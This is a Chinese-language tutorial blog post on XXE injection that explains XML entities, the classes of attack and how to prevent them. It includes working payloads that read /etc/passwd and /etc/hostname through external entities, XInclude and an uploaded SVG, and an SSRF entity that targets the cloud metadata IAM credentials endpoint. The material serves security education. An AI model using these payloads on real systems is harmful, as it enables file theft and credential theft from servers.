(十二)XML外部实体(XXE)注入


一、什么是XML外部实体注入?

XML外部实体注入(也称为XXE)是一个Web安全漏洞,它使攻击者能够干扰应用程序对XML数据的处理。它通常使攻击者可以查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

在某些情况下,攻击者可以利用XXE漏洞执行服务器端请求伪造(SSRF)攻击,从而升级XXE攻击,以破坏底层服务器或其他后端基础结构。

二、XXE漏洞如何产生?

一些应用程序使用XML格式在浏览器和服务器之间传输数据。实际上,执行此操作的应用程序始终使用标准库或平台API来处理服务器上的XML数据。XXE漏洞的出现是因为XML规范包含各种潜在的危险功能,并且标准解析器支持这些功能,即使应用程序通常不使用它们也是如此。

什么是XML?

XML代表“可扩展标记语言”。XML是一种设计用于存储和传输数据的语言。像HTML一样,XML使用标签和数据的树状结构。与HTML不同,XML不使用预定义标签,因此可以给标签指定描述数据的名称。在Web的早期历史中,XML成为一种流行的数据传输格式(“ AJAX”中的“ X”代表“ XML”)。但是,现在它的受欢迎程度已下降,而不再支持JSON格式。

什么是XML实体?

XML实体是一种表示XML文档中的数据项的方式,而不是使用数据本身。XML语言规范内置了各种实体。例如,实体&lt;和&gt;代表字符<和>。这些是用于表示XML标签的元字符,因此,当它们出现在数据中时,通常必须使用它们的实体来表示。

什么是文件类型定义(DTD)?

XML文档类型定义(DTD)包含一些声明,这些声明可以定义XML文档的结构,它可以包含的数据值的类型以及其他项。DTDDOCTYPE在XML文档开始处的可选元素中声明。DTD可以完全独立地包含在文档本身中(称为“内部DTD”),也可以从其他位置加载(称为“外部DTD”),也可以将二者混合使用。

什么是XML自定义实体?

XML允许在DTD中定义自定义实体。例如:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

此定义意味着&myentity;XML文档中实体引用的任何用法都将被定义的值“ my entity value”替换。

什么是XML外部实体?

XML外部实体是一种自定义实体,其定义位于声明它们的DTD之外。

外部实体的声明使用SYSTEM关键字,并且必须指定一个URL,从该URL可以加载实体的值。例如:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

URL可以使用该file://协议,因此可以从文件中加载外部实体。例如:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

XML外部实体是一种自定义XML实体,其定义值是从声明它们的DTD外部加载的。
从安全角度来看,外部实体特别有趣,因为它们允许基于文件路径或URL的内容定义实体XML外部实体提供了引发XML外部实体攻击的主要方法。

三、XXE攻击有哪些类型?

XXE攻击有多种类型:

  • 利用XXE检索文件,其中定义了一个包含文件内容的外部实体,并在应用程序的响应中返回。
  • 利用XXE执行SSRF攻击,其中基于到后端系统的URL定义了外部实体。
  • 利用盲目的XXE泄漏带外数据,其中敏感数据从应用程序服务器传输到攻击者控制的系统。
  • 利用盲目的XXE通过错误消息检索数据,攻击者可以在其中触发包含敏感数据的解析错误消息。

利用XXE检索文件

要执行从服务器文件系统中检索任意文件的XXE注入攻击,我们需要以两种方式修改提交的XML:

  • 引入(或编辑)一个DOCTYPE元素,该元素定义一个包含文件路径的外部实体。
  • 编辑应用程序响应中返回的XML中的数据值,以使用已定义的外部实体。

例如,假设购物应用程序通过将以下XML提交给服务器来检查产品的库存水平:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

该应用程序没有针对XXE攻击的特殊防御措施,因此我们可以/etc/passwd通过提交以下XXE有效负载来利用XXE漏洞来检索文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

此XXE有效负载定义了一个外部实体&xxe;其值是/etc/passwd文件的内容,并在该productId值内使用该实体。这将导致应用程序的响应包括文件内容:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

利用XXE执行SSRF攻击

除了检索敏感数据外,XXE攻击的另一个主要影响是它们可用于执行服务器端请求伪造(SSRF)。这是一个潜在的严重漏洞,可以诱使服务器端应用程序对服务器可以访问的任何URL发出HTTP请求。

要利用XXE漏洞执行SSRF攻击,需要使用要定位的URL定义外部XML实体,并在数据值中使用定义的实体。如果可以在应用程序响应中返回的数据值中使用定义的实体,那么将能够从应用程序响应中的URL查看响应,从而与后端系统进行双向交互。否则,您将只能执行盲目SSRF攻击(仍然可能会产生严重后果)。

在下面的XXE示例中,外部实体将导致服务器向组织的基础结构内的内部系统发出后端HTTP请求:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

迭代更新DTD中的URL以浏览API

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

四、寻找用于XXE注入的隐藏攻击面

在许多情况下,XXE注入漏洞的攻击面很明显,因为应用程序的常规HTTP流量包括包含XML格式数据的请求。在其他情况下,攻击面较不可见。但是,如果在正确的位置查看,则会在不包含任何XML的请求中发现XXE攻击面。

XInclude攻击

一些应用程序接收客户端提交的数据,将其在服务器端嵌入到XML文档中,然后解析该文档。将客户端提交的数据放入后端SOAP请求中,然后由后端SOAP服务处理该请求时,就会发生这种情况。

在这种情况下,我们无法进行经典的XXE攻击,因为无法控制整个XML文档,因此无法定义或修改DOCTYPE元素。但是,我们也许可以XInclude代替使用。XInclude是XML规范的一部分,该规范允许从子文档构建XML文档。我们可以XInclude在XML文档中的任何数据值内进行攻击,因此可以在仅控制放置在服务器端XML文档中的单个数据项的情况下执行攻击。

要进行XInclude攻击,您需要引用XInclude名称空间,并提供要包含的文件的路径。例如:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

通过文件上传进行XXE攻击

一些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用XML或包含XML子组件。基于XML格式的示例是Office文档格式(例如DOCX)和图像格式(例如SVG)。

例如,一个应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序希望接收PNG或JPEG之类的格式,所使用的图像处理库也可能支持SVG图像。由于SVG格式使用XML,因此攻击者可以提交恶意的SVG映像,因此可以隐藏攻击面以发现XXE漏洞。

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

通过修改的内容类型进行XXE攻击

大多数POST请求都使用HTML表单生成的默认内容类型,例如application/x-www-form-urlencoded。一些网站希望以这种格式接收请求,但会容忍其他内容类型,包括XML。

例如,如果正常请求包含以下内容:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar

然后,您可以提交以下请求,结果相同:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果应用程序允许消息正文中包含XML的请求,并将正文内容解析为XML,则只需重新格式化请求以使用XML格式,就可以到达隐藏的XXE攻击面。

五、如何预防XXE漏洞

实际上,所有XXE漏洞的出现都是因为应用程序的XML解析库支持应用程序不需要或不打算使用的潜在危险XML功能。防止XXE攻击的最简单,最有效的方法是禁用这些功能。

通常,禁用外部实体的解析并禁用对XInclude的支持就足够了。通常可以通过配置选项或以编程方式覆盖默认行为来完成此操作。。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值